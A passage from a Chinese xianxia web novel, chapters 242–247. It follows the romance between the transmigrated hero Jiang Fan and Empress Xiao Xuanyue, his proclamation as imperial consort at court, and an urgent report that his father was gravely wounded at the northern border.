“是,非常重要。重要到…关乎我的根本。有些事情,我现在还不能完全解释清楚,但请陛下相信,我绝无恶意,也从未想过要损害陛下分毫。话本带来的…某种‘力量’,对我而言不可或缺。”
他无法解释系统和人气值,只能含糊地表达。
萧璇月静静地看着他,看着他眼中的认真和一丝为难。
她没有追问那‘力量’到底是什么,也没有计较他依旧有所保留。
她只是伸出手,轻轻握住了他的手,展颜一笑,那笑容带着全然的信任与包容:
“好,朕信你。既然对你很重要,那朕就帮你。以后你想怎么写,就怎么写。需要朕配合什么,朕就配合什么。就算你把朕写成个荒淫无道的昏君,只要对你有用,朕也认了。”
这份毫无保留的信任与支持,让江凡心中巨震,感动得无以复加。
他反手握紧了她微凉的小手,千言万语,最终只化作一句郑重无比的承诺:
“放心,我的月儿,永远都会是史书上最圣明、最耀眼的女帝。而我,会一直站在你身边,守护你,也守护你治下的这片锦绣河山。”
四目相对,情意绵绵。
窗外,夕阳的余晖透过窗棂,为相拥的两人镀上一层温暖的金辉。
风雨或许未歇,强敌或许仍在暗处窥伺。
但这一刻,两颗心紧紧相依,便有了面对一切的勇气与力量。
“江凡,今晚...留宿皇宫吧!”
萧璇月红着脸,将脸埋进江凡的胸口,不敢看他。
江凡此时心跳加快,当然明白这次的‘留宿’肯定跟之前不同。
他有些迟疑的说道:
“有些事情我还要坦白,我已经答应了婉如,要给她一个名分...”
“朕答应了,”萧璇月抬起头:“只要大夏的皇位,以后留给我们的孩子就行。”
第242章 谁敢说什么
萧璇月她的声音不大,却清晰坚定,带着一丝只有两人才能体会的亲昵与**宣示。
江凡心头一跳,被她温热柔软的小手牵着,鼻尖萦绕着独属于她的馨香。
一股热流不受控制地窜起,瞬间蔓延至四肢百骸,让他呼吸都微微急促了几分。
他看着她近在咫尺的侧脸,喉结滚动了一下,声音带着一丝沙哑:
“月儿…你,想清楚了?这…会不会太快了?而且,于礼不合。至少,等父亲从北境凯旋,或者…找个合适的时机,正式…”
他话未说完,手背上便传来一阵轻微的刺痛。
萧璇月竟扭过头,气鼓鼓地在他手背上咬了一口,留下一个浅浅的牙印。
她瞪着他,凤眸中水光潋滟,既有羞恼,更有一种执拗:
“江凡!你…你浑蛋!朕…朕身心都给你了,连人带心,早就是你的了!你还问这种话?是不是男人?!”
她越说越气,想起之前无数次的暗示、明示,想起自己一次次放下帝王尊严的主动,这个木头脑袋却总是瞻前顾后,各种推脱。
现在好不容易捅破窗户纸,他居然还敢问‘想清楚没有’?
简直气死她了!
“不是…月儿,你别生气,我不是那个意思。”
江凡被她咬得倒吸一口凉气,又见她眼圈微红,是真委屈了,连忙解释,
“我是担心你…你是女帝,一举一动天下瞩目。我们…我们这样,若传出去,恐对你的清誉有损。
那些言官,还有天下士林的笔,能把人生吞活剥了。我不想你因为我,再受半点非议。”
萧璇月闻言,心中那点气恼瞬间化为了酸涩的甜蜜。
这个傻瓜,原来是在担心她。
她松开口,看着那浅浅的牙印,又有些心疼,轻轻用手指抚了抚,语气却依旧带着赌气般的蛮横:
“清誉?朕在《深宫秘恋》里,早被你写成‘贪恋美色’、‘与侍卫不清不楚’的‘昏君’了,还有什么清誉可言?
满京城,谁不知道大夏女帝痴恋她的金刀侍卫?那些话本子流传得比圣旨还快!现在倒怕人说了?”
她抬起眼,目光灼灼地看着他,带着一丝娇蛮和狡黠:
“反正,话本里女帝和侍卫情深意重,早已是百姓津津乐道的佳话。如今‘侍卫’变‘帝君’,不过是佳话成真,有何不可?朕…朕就是喜欢你,就是要和你在一起,谁爱说谁说去!”
这番歪理说得理直气壮,却又带着一种令人心折的勇敢与坦荡。
她不再是那个需要权衡利弊、顾虑重重的帝王,只是一个遵从本心、勇敢去爱的女子。
江凡看着她眼中闪烁的坚定,心中最后一丝犹豫也彻底融化。
他将萧璇月的手紧紧包裹在掌心,低头,在她光洁的额头上印下一个郑重的吻,声音低沉而充满力量:
“好。都听你的。从今往后,天上地下,碧落黄泉,我都陪着你。谁若敢说你半句不是,我便让他永远开不了口。”
萧璇月心中一甜,脸上绽放出如花笑靥,主动踮起脚尖,在他唇上飞快地啄了一下,然后红着脸拉着他,脚步更快地朝着自己的寝宫——凤仪宫走去。
至于朝政?
有江凡今日展现的绝对武力震慑,加上靖王刚除,武神殿特使狼狈败逃的消息恐怕已经传开,短时间内,哪个不开眼的还敢跳出来**?
那些堆积的奏章,明天再看也不迟。
此刻,她只想和心爱之人,享受这来之不易的、独属于他们的时光。
……
凤仪宫,寝殿。
重重纱幔落下,遮住了内里春光,也隔绝了外界的纷扰。
烛火被特意调暗,只余几盏宫灯散发着朦胧柔和的光晕,将室内映照得一片暖融暧昧。
没有太多的言语,一切水到渠成。
当衣衫尽褪,坦诚相见时,两人都看到了对方眼中的深情与渴望。
江凡的动作起初带着几分生涩的温柔,仿佛对待稀世珍宝。
但很快,便在萧璇月羞涩却大胆的回应与鼓励下,化为更炽热汹涌的浪潮。
而萧璇月,也彻底放下了所有的矜持与负担,全心全意地接纳、回应,将自己最真实、最柔软的一面,毫无保留地展现在心爱之人面前。
(感觉大家不爱看,省略三千字...)
这一夜,凤仪宫的龙床之上,不再有君臣之别,只有一对倾心相恋的男女,用最亲密无间的方式,确认着彼此的存在,宣泄着积压已久的情感。
也将两颗心,彻底、永久地交融在一起。
不知几度云雨,几番缠绵。
直到天光将明未明,寝殿内的动静才渐渐平息。
……
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>翌日,生物钟使然,萧璇月在天色微明时便悠悠转醒。
身体传来一阵酸痛,尤其是腰腹和双腿,仿佛被车轮碾过一般,提醒着她昨夜的疯狂。
但更多的,却是一种充实与甜蜜,仿佛灵魂都被填满。
她微微动了动,发现自己正被一个温暖坚实的怀抱紧紧拥着,江凡均匀的呼吸拂过她的头顶。
她悄悄抬头,看着江凡沉睡的侧脸。
褪去了平日那层惫懒或伪装出的高深,此刻的他眉眼舒展,神色安宁,竟有种罕见的纯净。
她忍不住伸出手指,轻轻描绘他挺直的鼻梁和微抿的唇线,心中柔情满溢。
然而,身体的酸痛和初次承欢后的些许不适,让她微微蹙了蹙眉。
想到一会儿还要上朝,面对那些心思各异的臣子,她便觉得有些头疼,身体也懒洋洋的不想动。
或许是她的动作惊动了他,江凡也缓缓睁开了眼睛。
四目相对,萧璇月脸上飞起红霞,有些不好意思地想躲开视线,却**凡含笑的目光牢牢锁住。
“醒了?”
江凡的声音带着刚醒的低哑,格外撩人。
他自然也察觉到了她身体的僵硬和眉间那丝不适,心中了然,又是心疼又是自责。
自己昨晚…似乎有些过于放纵了。
“嗯…”萧璇月低低应了一声,将脸埋进他胸口,声音闷闷的,
“什么时辰了?该上朝了…可是,朕不想动…”
难得的,她流露出一丝小女儿家的娇气。
江凡轻笑,拥紧了她,吻了吻她的发顶:
“不想去就不去,告假一天便是。你是一国之君,偶尔任性一次,谁敢说什么?”
“那怎么行?”
萧璇月虽然嘴上这么说,身体却诚实地往他怀里又缩了缩,
“昨日刚经历了那么大的事,今日若不上朝,还不知道会被传成什么样。况且,朕还要去宣布…”
她顿了顿,没说完,但江凡明白,她是想去宣布‘帝君’之事。
想到她身体不适还要强撑着去应付朝堂,江凡更加心疼。
他忽然想起系统商城里似乎有专门调理身体、恢复元气、甚至能辅助修炼的丹药,而且品阶不低,正适合此刻的萧璇月。
“月儿,你等等。”
他松开她,心念沉入系统商城,快速搜寻。
第243章 看不起为夫
很快,找到了一瓶名为【九转玉露丹】的丹药。
描述是‘固本培元,修复损伤,滋养神魂,对初次双修或元气大损者有奇效,亦可小幅提升修为’,兑换价格五十万人气值,不算便宜,但对他现在来说,不值一提。
“兑换【九转玉露丹】一瓶。”
他毫不犹豫。
【叮!兑换成功!消耗人气值500,000点!】
一个羊脂玉瓶出现在他手中。
他拔开瓶塞,一股沁人心脾的清香瞬间弥漫开来,让人精神为之一振。
“月儿,把这个吃了。”
江凡倒出一颗龙眼大小、隐隐有光华流转的丹药,递到萧璇月唇边。
萧璇月看着他手中那枚一看就非凡品的丹药,又闻着那令人舒畅的香气,没有丝毫犹豫,张口便含了进去。
丹药入口即化,化作一股暖流,瞬间流转四肢百骸。
昨夜疯狂带来的酸痛与疲惫,迅速消散。
一股精纯的能量滋养着她的经脉脏腑,甚至连因为国事操劳、修炼根基不算特别稳固而有些滞涩的修为,都隐隐松动。
竟在药力推动下,水到渠成般,从原本的宗师初期,直接突破到了宗师中期!
而且根基扎实,毫无虚浮之感!
不过片刻功夫,萧璇月只觉神清气爽,浑身充满了力量,不仅不适全消,状态甚至比以往任何时候都要好!
她惊喜地坐起身,活动了一下手脚,眼中异彩连连:
“这丹药…好神奇!我感觉…修为也突破了!”
江凡见她恢复,也松了口气,笑道:
“有效就好。以后若是累了,或者修炼遇到瓶颈,可以再服用,我这儿还有。”
萧璇月感受着体内充盈的力量和蓬勃的精力,再看看窗外已然大亮的天色,眼中闪过一丝狡黠。
她忽然扑到江凡身上,将他压在身下,俯身在他耳边,吐气如兰,声音带着一丝魅惑和戏谑:
“看来这丹药效果非凡…那,爱妃,乖乖在这里等着朕,等朕退朝回来,咱们…再战三百回合,如何?”
江凡正为她恢复而高兴,冷不防听到这‘虎狼之词’,又感受到她柔软身躯的压迫和耳边的热气,顿时头皮一麻,脸上露出苦色,连忙告饶:
“月儿,陛下,女皇大人!饶命啊!昨晚是我不对,太不知道节制了。你…你刚恢复,还是多休息,咱们来日方长,来日方长…”
看着他这副‘怂样’,萧璇月‘噗嗤’一声笑了出来,趴在他胸口笑得花枝乱颤:
“逗你的!瞧把你吓的!就这胆量,昨晚的威风哪儿去了?还敢大言不惭要‘三妻四妾’?”
最后四个字,她刻意拖长了音调,带着明显的调侃和挑衅。
江凡一听,顿时不乐意了。
男人怎么能被说‘不行’?
他眼睛一瞪,原本告饶的表情瞬间变得‘凶狠’起来,一个翻身,轻松将身上的萧璇月反压在身下,双手在她腰间和腋下不轻不重地挠了起来:
“敢看不起为夫?嗯?为夫那是心疼你,怕你累着!你倒好,还敢取笑我?看我怎么收拾你!”
“啊!哈哈哈…别…别挠了!我错了!陛下错了!帝君饶命!哈哈哈…”
萧璇月最是怕痒,被他这么一挠,顿时笑得喘不过气,在床上扭来扭去,连连求饶。
方才那点女帝的威风荡然无存,又变回了那个会害羞、会撒娇的小女子。
两人笑闹成一团,寝殿内充满了快活的空气。
良久,江凡才放过她,两人都有些气喘吁吁,衣衫更是凌乱不堪。
萧璇月脸上红晕未消,眼波如水,瞪了他一眼,却没什么威力,反而更像是娇嗔。
这种日子她幻想过,梦想成真后,还有些患得患失的感觉。
看看时辰确实不早,萧璇月这才起身,唤来云暮等人伺候梳洗更衣。
临出门前,萧璇月回头,对江凡嫣然一笑,那笑容明媚自信,又带着独属于他的柔情:
“乖乖等朕回来。奏折…我们可以一起批。”
江凡看着她身着龙袍、重拾威仪,却对自己展露别样风情的模样,心中一片温软,点了点头:
“嗯,等你。”
萧璇月这才带着云暮和一众宫人,款步走向太和殿。
……
目送萧璇月离开,寝殿内重归安静。
江凡独自坐在床沿,回想起昨夜至今晨的种种,依旧有种身在梦中的不真实感
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。
穿越至今,波折不断,危机四伏,如今终于和心爱之人互表心迹,关系更进一步,甚至…拥有了她。
这感觉,美妙得令人沉醉。
忽然,他想起一件重要的事——昨晚情到浓时,哪里还记得更新《深宫秘恋》?
虽然之前提交的‘知识盛宴’章节应该还在持续发酵,但断更一天,人气值会不会受到影响?
他连忙调出系统界面查看。
【当前人气值:36,852,000】
三千六百八十五万?
江凡倒吸一口凉气,眼睛瞬间瞪大!
非但没有减少,反而一夜之间,又暴涨了上千万!
现在已经接近三千七百万了!
这增长速度,简直骇人听闻!
略一思索,他便明白了。
恐怕是昨日他显露身份、碾压武神殿特使、以及与女帝关系‘公开化’的消息,经过一夜的发酵,以惊人的速度传播开来,引发了更恐怖的关注和讨论!
逍遥公子就是江凡!
江凡就是护国圣师!
而且与女帝关系亲密!
这任何一个消息单独拿出来都足以震动朝野,如今组合在一起,其**性可想而知!
再加上平定靖王、击杀海外高手等事迹的持续传播,以及‘内阁’制度等利国良策的提出,他的声望和影响力,正在以前所未有的速度攀升至顶峰!
“太好了!”
江凡心中狂喜。
实力才是一切的根本!
有了海量人气值,他便能更快地提升实力,应对未来的挑战,也能更好地保护身边之人。
“系统,直接兑换极道宗师后期境界!”
他毫不犹豫。
【叮!消耗人气值30,000,000点!开始灌注极道宗师后期境界修为…】
极道宗师后期!
距离那传说中的陆地神仙之境,已经越来越近!
“还剩六百八十五万人气值…”
江凡看向下一个境界。
【兑换极道宗师巅峰境界】:需人气值20,000,000点。
按照现在的势头,或许明天便能凑齐!
届时,他便能站在极道宗师的顶峰,触摸到陆地神仙的门槛!
第244章 到朕身边来
实力的提升令人振奋,但‘工作’也不能落下。
人气值是他力量的源泉,必须持续获取。
想到自己与萧璇月的关系已然挑明,或许可以在话本中也同步推进,既满足读者的期待,也能更好地引导**,巩固女帝的声望和自己的‘帝君’形象。
他走到外间书案前,铺开纸张,略一沉吟,提笔蘸墨,开始创作新一章的《深宫秘恋》。
在这一章中,他让一直隐藏在暗处、默默守护的‘影子‘林枫,因为一次意外,被心思敏锐的‘大乾女帝’察觉到了端倪。
经过一番试探、挣扎与内心的交锋,两人终于隔阂尽消,相认于月下。
没有过多的狗血与误会,只有历经生死与默默守护后的水到渠成,与深情相拥。
他将自己与萧璇月之间的那种默契、信任与深深的情意,倾注于笔端,描写得细腻动人,足以让任何读者为之心折。
同时,他继续贯彻‘知识传播’的理念。
在剧情推进的间隙,巧妙地借‘影子’早年游历的见闻,或‘大乾女帝’查阅古籍、与能臣探讨治国方略时,引入更多实用的知识——
更高效的织布机改进思路、预防瘟疫的简易隔离与消毒概念、基础的矿物辨识与冶炼要点、甚至是一些鼓励商贸、规范市场的理念。
力求在讲述动人爱情故事、满足读者对‘帝后’关系进展期待的同时,潜移默化地传播有益于国计民生的智慧。
写完最后一个字,检查无误,江凡满意地点点头,提交系统。
【叮!作品检测通过。触发‘帝后情深、惠泽万民’特殊模板。本次印制将采用精装典藏版与大众普及版同步发行。预计总投放数量:100,000份。后续将根据反馈及特定事件(如大婚、新政推行)进行主题追加投放。】
十万份!
特殊模板!
江凡精神一振。
这次投放必能带来新一波的人气值高峰。
做完这些,他伸了个懒腰,感觉神清气爽。
看看时辰,朝会应该已经开始有一会儿了。
他忽然心血来潮,想看看萧璇月在朝堂上是何模样,也…顺便看看大臣们的反应。
他整理了一下身上的玄色常服,想了想,还是没有换。
就这样,大摇大摆地出了凤仪宫,朝着太和殿的方向溜达过去。
一路上,遇到的宫女太监侍卫,无不远远看见他便立刻停下脚步,躬身垂首,态度恭谨到了极点,眼神中充满了无与伦比的敬畏与好奇。
逍遥公子!护国圣师!未来帝君!
这几个身份叠加在一起,足以让任何人心生仰望,不敢有丝毫怠慢。
甚至没人敢抬头多看他一眼。
江凡也懒得理会,径直来到太和殿外。
守门的御林军将领看到他,先是一愣,随即立刻让开道路,压低声音道:
“江…江大人,陛下正在朝会。”
语气恭敬无比。
江凡点点头,也不通报,就这么施施然地,从侧门走了进去。
他的出现,瞬间吸引了殿内所有人的目光。
原本肃穆的朝堂,因为他的闯入,出现了片刻诡异的寂静。
所有文武百官,无论之前是在禀报事务,还是在聆听圣训,全都齐刷刷地转过头,目光复杂地看向这个姗姗来迟、衣衫甚至有些不整的年轻人。
震惊、敬畏、恍然、嫉妒、讨好、探究…种种情绪,在那一张张脸上交织。
但无一例外,没有人敢出声呵斥,甚至没有人敢流露出明显的不满。
昨日广场上那如同神魔般的手段,以及‘江凡即逍遥公子’的惊天真相,早已彻底重塑了他在所有人心中的形象。
萧璇月端**之上,正听着一位大臣关于北方的奏报。
看到江凡进来,她眼中瞬间闪过一丝亮光,连眉宇间都柔和了几分。
她没有丝毫惊讶,仿佛早就料到他会来,只是对他这身打扮和‘迟到’的行为,弯了弯唇角。
那奏报的大臣见江凡进来,也识趣地停下了话语。
在百官注目下,江凡像往常一样,准备走到御阶侧后方自己那个‘金刀侍卫’的位置。
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然而,萧璇月却忽然开口,声音清越,带着温和与亲昵,响彻大殿:
“江凡,到朕身边来。”
江凡脚步一顿,看向她。
萧璇月对他招了招手,脸上带着明丽的笑容,拍了拍自己龙椅旁那宽大的扶手——
那里,本是帝王专座,从未有过第二人位置。
“站这儿累。来,坐朕旁边。”
此言一出,满殿哗然!
所有官员目瞪口呆,简直不敢相信自己的耳朵!
让臣子…同**?
这、这简直是亘古未闻!
就算是皇后,在正式场合也无此殊荣!
这已不是简单的恩宠,而是…僭越!
是破坏礼法!
然而,想到江凡的**,想到他昨日的威势,想到他与女帝那几乎公开的亲密关系,这‘荒谬’的命令,似乎又…有那么一丝诡异的‘合理’?
江凡也愣了一下,没想到萧璇月会如此直接。
他看了一眼下方神色各异的百官,又看了看萧璇月那双含笑却坚定的凤眸,心中了然。
她这是要借朝会之机,正式、公开地确立他的地位。
既然如此,他也不再扭捏。
在百官或惊骇、或复杂、或了然的注视下,他坦然迈步,走上御阶,来到龙椅旁。
没有丝毫犹豫,一撩衣摆,便在那象征着至高皇权的龙椅扶手上,坐了下来。
虽然只是侧坐扶手,并未完全占据龙椅,但这姿态,已足以说明一切。
萧璇月看着他坐下,眼中笑意更深,仿佛完成了某种仪式。
她转回头,面向下方已然石化般的群臣,声音平静,却带着一种宣告般的庄严:
“即日起,江凡,便是大夏帝君,朕之皇夫。见他,如见朕。”
“众卿,可有异议?”
静。
死一般的寂静。
随后,以几位机灵的重臣为首,百官纷纷撩袍跪倒,声音参差不齐,却同样响亮:
“臣等,拜见帝君!陛下万岁!帝君千岁!”
声音回荡在空旷的太和殿中,久久不息。
第245章 八百里加急
江凡坐在龙椅之侧,感受着下方山呼海啸般的朝拜,侧目看向身旁凤仪天成、笑靥如花的萧璇月,心中一片宁静与坚定。
新的身份,新的责任,新的征程。
但无论前路如何,有她相伴,便无所畏惧。
太和殿内,百官们心思各异,但面上皆已收敛了最初的震惊与难以置信,转为恭顺与审慎。
女帝金口玉言,加之‘逍遥公子’本尊那深不可测的实力与滔天功勋,这帝君之位,虽亘古未有,却无人敢置喙半句。
一些心思活络的,已在琢磨如何向这位新鲜出炉、权势滔天的帝君示好;
一些老成持重的,则在忧虑这般‘帝后同朝’会否带来新的变数;
至于那些曾**凡‘无意’得罪或是在话本中‘形象受损’的,此刻更是噤若寒蝉,生怕被秋后算账。
萧璇月对百官的反应颇为满意,她要的便是这份震慑与默认。
她轻轻抬手,示意众卿平身,目光扫过殿内。
“帝君之事已定,钦天监选个良辰吉日做婚期,接下来,议一议北境与南疆战事。”
她的声音将众人的思绪拉回现实,
“靖王虽伏诛,其引狼**、勾连外敌之恶果犹在。北莽、南蛮,陈兵边境,虎视眈眈,绝不可因其暂退便掉以轻心。”
兵部尚书出列,躬身禀报:
“启奏陛下,帝君此前所献之新式军械图纸——包括改良**、轻型投石机、以及那名为‘**’应用之‘轰天雷’雏形,已由将作监与军器监联手,集中能工巧匠,日夜赶工。
首批成品约三百套,配套**若干,三日内便可完成最后校验,由禁军精锐押送,分别发往北境镇国公处与南疆安国公处。
另有帝君师门所助之大批粮草、御寒衣物、伤药等,亦在加紧调运,不日即可抵达前线。”
户部尚书也补充道:
“抄没靖王府所得资财,以及近日京城‘奇物’销售之利,已陆续入库,可支应两线三月之军需。若战事顺利,后续税赋及商税亦能跟上,短期内军费无忧。”
听到新式军械和充足粮草即将到位,不少武将眼中露出兴奋之色。
他们早已对那些图纸上描述的威力心驰神往,若真能装备部队,大夏边军的战斗力必将提升一个档次!
萧璇月微微颔首,凤眸中寒光一闪:
“南蛮、北莽,趁我内乱,兴兵犯境,劫掠边民,罪恶滔天。如今内患暂平,国库稍充,岂容他们想来便来,想走便走?
传朕旨意与镇国公、安国公:待新式军械粮草抵达,不必保守,寻机主动出击,务必要打出我大夏军威,让这些蛮夷之辈,付出血的代价!此战,不仅要退敌,更要打得他们十年不敢南顾!若有机会…”
她顿了顿,语气斩钉截铁,带着一种开疆拓土的雄心:
“若能扩大战果,收复前朝失地,乃至开疆拓土,朕,亦不惜封侯之赏!”
“陛下圣明!”
主战派将领们群情激昂,齐声应和。
若能凭借新式武器打几场漂亮仗,加官进爵,封妻荫子,就在眼前!
萧璇月说完,却并未像往常一样直接定论,而是自然而然地侧过头,看向身旁坐在龙椅扶手上的江凡,目光瞬间柔和下来,轻声问道:
“江凡,你觉得朕如此安排,可还妥当?你有什么想法,但说无妨。”
这细微的动作和询问的语气,再次让殿内百官心头一跳。
女帝竟在朝堂之上,如此自然地征询帝君的意见,且神态亲昵,毫无作伪。
这已不仅仅是尊重,更是一种毫无保留的信任与倚重。
一些老臣心中暗叹,这位帝君,在陛下心中的分量,恐怕比他们想象的还要重得多。
江凡正老神在在地坐着,冷不防被萧璇月点名询问。
他抬眼,对上她那双隐含期待与信赖的眸子,心中一暖,脸上露出一个温和的笑容,点了点头:
“月儿思虑周全,安排甚妥。你想打,那便打。你想开疆拓土,我便为你做先锋。你做什么决定,我都支持。”
这话说得平淡,却蕴含着宠溺。
没有分析利弊,没有考虑得失,纯粹是无条件的信任与支持。
仿佛只要是她想做的,便是刀山火海,他也会陪她闯。
萧璇月闻言,心中仿佛被蜜糖填满,脸上不由自主地绽放出明媚动人的笑容,那笑容中带着少女般的欣喜与被人全然呵护的安心。
她甚至忘了身在朝堂,忍不住伸手,轻轻握了
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一下江凡放在扶手上的手,低声道:
“有你在,朕便什么都不怕。”
两人这旁若无人的互动,这毫不掩饰的深情与信赖,如同无形的狗粮,洒满了庄严的太和殿。
下方百官,尤其是那些年纪稍长、讲究礼法规矩的老臣,只觉得没眼看,纷纷低下头,眼观鼻,鼻观心,假装研究地板上的花纹,或者自己的笏板。
年轻些的官员,则面露羡慕或复杂之色。
帝后情深,本是佳话,可这般在朝堂上公然‘你侬我侬’,实在是…千古未闻!
但谁又敢多说半句?
就在这气氛微妙、众人心思各异之际,殿外忽然传来一阵急促凌乱的脚步声,伴随着侍卫的低声喝问和一个嘶哑焦急的呼喊:
“八百里加急!北境军报!让开!快让开!”
“报——!!!”
一名风尘仆仆的传令兵,连滚爬爬地冲进大殿,扑通一声跪倒在地,双手高举一个染血的牛皮信筒,声音颤抖:
“陛下!北境八百里加急!镇北关…镇北关告急!北莽大军本已显露出退兵迹象,然昨夜子时,敌营中突然杀出数十名黑衣蒙面、武功奇高的神秘人!
这些人个个身手不凡,最低也是宗师修为,更有数名大宗师乃至…疑似极道宗师的存在!他们趁着夜色,突袭镇北关城墙,守军措手不及,死伤惨重!
镇国公亲自率亲卫迎敌,血战半夜,虽将来犯之敌击退,但…但镇国公为护城墙不失,身先士卒,力战之下,被对方一名极道宗师偷袭得手,身受重创,吐血坠下城头!”
“什么?!”
江凡霍然站起,脸色瞬间阴沉,眼中寒光爆射!
一股凛冽的杀意不受控制地弥漫开来,让整个大殿的温度骤降!
父亲受伤了?
那传令兵**凡的气势所慑,浑身一抖,连忙继续道:
“幸…幸得镇国公身上似乎带有灵丹妙药,及时服下,吊住了性命,但伤势极重,至今昏迷未醒!军中医师束手无策!
如今北莽大军见偷袭得手,士气大振,再次逼近关墙,攻势如潮!镇北关…危在旦夕!
副将恳请朝廷速发援兵,派遣顶尖高手驰援,并…寻觅良医圣药,救治国公爷啊!”
第246章 我很快回来
“砰!”
萧璇月也是一掌拍在龙案上,凤眸含煞,怒不可遏:
“岂有此理!北莽怎会突然多出如此多江湖高手?还偏偏在即将退兵之际发动偷袭?!”
她身为帝王,对江湖势力并非一无所知。
寻常江湖门派,虽有高手,但绝少会如此成建制地、悍不畏死地参与两国正规军厮杀。
尤其还是在这种敏感时刻,与整个大夏朝廷为敌。
这不符合江湖规矩,也绝非寻常门派敢为。
江凡强压下心中的暴怒与担忧,眼神冰冷,缓缓开口:
“月儿,此事恐怕没那么简单。北莽若有此等实力,早该使出,何必等到现在,又在我大夏内乱已平、声势复振之时?除非…他们背后,另有指使。”
萧璇月与他目光一碰,瞬间明白了他的意思,心中一沉:
“你是说…武神殿?”
江凡点了点头,声音带着寒意:
“武神殿与我结仇,昨日其特使狼狈败逃。以武神殿的作风和超然地位,明面上或许暂不会撕破脸皮亲自下场。
但暗中指使、或胁迫其控制、影响的江湖势力,假借北莽之手,对我大夏进行报复,削弱我朝实力,甚至…
目标是镇国公,以此来打击我,完全有可能。那些黑衣蒙面的高手,恐怕就是武神殿抛出的棋子。”
萧璇月倒吸一口凉气。
若真如此,那便不是简单的边境冲突了,而是武神殿这个庞然大物,正式将触手伸向了大夏,开始了不死不休的报复!
而且手段如此阴险狠辣,直接针对边关统帅,动摇军心!
“好一个武神殿!当真以为我大夏是泥捏的不成?!”
萧璇月银牙紧咬,眼中迸发出骇人的光芒。
但愤怒之余,她也深知武神殿的可怕。
对方以这种方式介入,既达到了报复和打击的目的,又未直接亮明旗号,让大夏难以抓到确凿把柄,可谓阴毒。
江凡看着萧璇月愤怒又隐现忧虑的脸,又想到父亲重伤昏迷、边关危急,心中那股杀意几乎要破体而出。
武神殿…一而再,再而三!
真当他是泥菩萨没有火气?
他深吸一口气,强迫自己冷静下来。
此刻,愤怒解决不了问题。
父亲重伤,边关告急,武神殿的阴影已然笼罩。
他必须做出决断。
“月儿,”他沉声开口,声音恢复了平静,
“北境之事,恐非寻常战事。武神殿既已暗中插手,普通援兵和将领,恐怕难以应对那些江湖高手的袭扰,更救不了父亲。我…必须亲自去一趟。”
萧璇月闻言,娇躯一震,猛地看向他,眼中充满了不舍与担忧:
“你要去北境?可是…朝中初定,武神殿虎视眈眈,你若离开,京城…”
她的话没说完,但江凡明白她的担忧。
他刚刚显露身份,确立帝君之位,震慑朝野。
若此时离开,京城空虚,难保不会有人趁机生事,尤其是武神殿,若知他离京,会不会对皇城,甚至对国公府、对周婉如她们不利?
“正因武神殿虎视眈眈,我才必须去。”
江凡握住她的手,目光坚定,
“他们既然选择在北境动手,一是报复,二恐怕也是想将我引离京城。若我固守不出,他们便可肆无忌惮地在北境施压,甚至害了父亲性命,动摇边关。
届时,我救之不及,悔之晚矣。我必须去,以雷霆手段,扫清北境隐患,揪出武神殿的黑手,同时救治父亲。”
他看着萧璇月担忧的眸子,语气放缓,带着抚慰:
“至于京城…月儿,武神殿若真有胆量直接对你、对朝廷中枢下手,昨日便不会只是派两个特使前来问罪,更不会用这种迂回的方式。
他们忌惮我的实力,让江湖门派介入战场,恰恰说明他们现在还不敢,或者不愿亲自下场,与大夏全面为敌。这是他们的试探,也是他们的弱点。”
他顿了顿,继续分析,同时也是在说服自己:
“我此去,会以最快速度解决问题。以我如今的修为,往返北境,若不惜代价,半日便可。在此期间,京城有皇宫大阵,有忠诚的供奉和御林军,更有你在。
你已突破宗师中期,配合我留下的丹药,加上云暮和玄老等人,只要小心防范,固守待援,武神殿仓促间绝难得手。
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况且…”
他眼中闪过一丝厉芒:“我会在离开前,再做些安排,让某些人,不敢轻举妄动。”
萧璇月听着他的分析,感受着他手掌传来的温度和力量,心中的担忧渐渐平息。
她知道他说得对。
北境危局,父亲重伤,非他不能解。
武神殿的威胁虽在,但眼下对方显然采取了更隐蔽阴险的方式,主力并未直接压向京城。
她用力点头,眼中虽仍有不舍,却已充满了信任与决断:
“好,你去。京城,有朕在。朕会守好我们的家,等你回来。”
她转向殿内噤若寒蝉的百官,声音恢复了帝王的威严与果决:
“北境突发变故,强敌介入,镇国公重伤。此乃国难!传朕旨意:北境军报所示之事,列为绝密,不得外传,以免动摇军心民心!
兵部,立即加派信使,以八百里加急最快速度,通知押送新式军械之队伍,全速前进,务必提前抵达北境!
太医院,即刻选派医术最精、尤擅外伤内治之太医,携带宫中最好药材,由精锐护送,火速前往北境,协助救治镇国公和伤员!户部,开放皇家秘库,凡所需珍贵药材,尽数支取,不得有误!”
一连串命令,雷厉风行。
百官齐声领命,不敢怠慢。
萧璇月这才看向江凡,低声道:
“退朝后,御书房再议。”
江凡点头。
很快,朝会在一种凝重而压抑的气氛中结束。
百官怀着各种复杂心思退去,北境突如其来的坏消息和帝君即将离京的动向,让许多人心中蒙上了一层阴影。
御书房内,只剩下江凡、萧璇月和云暮三人。
门一关上,萧璇月便再也维持不住朝堂上的镇定,快步走到江凡面前,眼中水光盈盈,紧紧抱住了他,将脸埋在他胸前,声音带着哽咽:
“一定要小心…一定要平安回来。朕…我等你。”
江凡拥着她,感受着她身体的微微颤抖,心中充满了不舍与怜爱。
他低头吻了吻她的发顶,郑重承诺:
“放心,这天下,能伤我的人,或许有,但绝不会在北莽。我很快回来。”
第247章 代理人战争
江凡说着从系统空间中取出几个玉瓶,塞进萧璇月手中:
“这些丹药,你收好。蓝色这瓶是疗伤圣药,只要有一口气在,便能吊住性命。白色这瓶是辅助修炼、突破瓶颈之用,对你和云暮都有大用。
红色这瓶是解毒丹,可解百毒。紫色这瓶是快速恢复真元的。我不在时,你们务必勤加修炼,提升实力,以备不时之需。”
他又看向云暮,神色认真:
“云暮,陛下和皇宫的安危,就拜托你了。若有强敌来犯,不必死拼,保全陛下为上,固守待援。我会尽快赶回。”
云暮眼圈微红,重重跪下:
“帝君放心!奴婢誓死护卫陛下周全!纵粉身碎骨,绝不让陛下受损分毫!也请帝君务必保重,早日凯旋!”
江凡扶起她,点了点头。
他又对萧璇月道:
“我不放心姐姐和周姑娘。我离京期间,能否将她们接到宫中,与你同住?有皇宫大阵和众多护卫,更为安全。我也会在国公府和她们原本住处暗中布置些警戒手段。”
萧璇月立刻点头:
“这是自然,朕这就让云暮亲自去接。你放心,芷兰姐姐和周妹妹在宫中,绝不会让她们受半点委屈。”
安排好最牵挂的人,江凡心中稍定。
他眼中寒光闪烁,对武神殿的杀意已然沸腾。
但越是如此,越需冷静。
武神殿势力盘根错节,隐藏极深,想要将其连根拔起,绝非易事。
眼下,需先解北境之危,救父亲,稳住大局。同时,也要尽可能摸清武神殿在此事中的具体角色和手段。
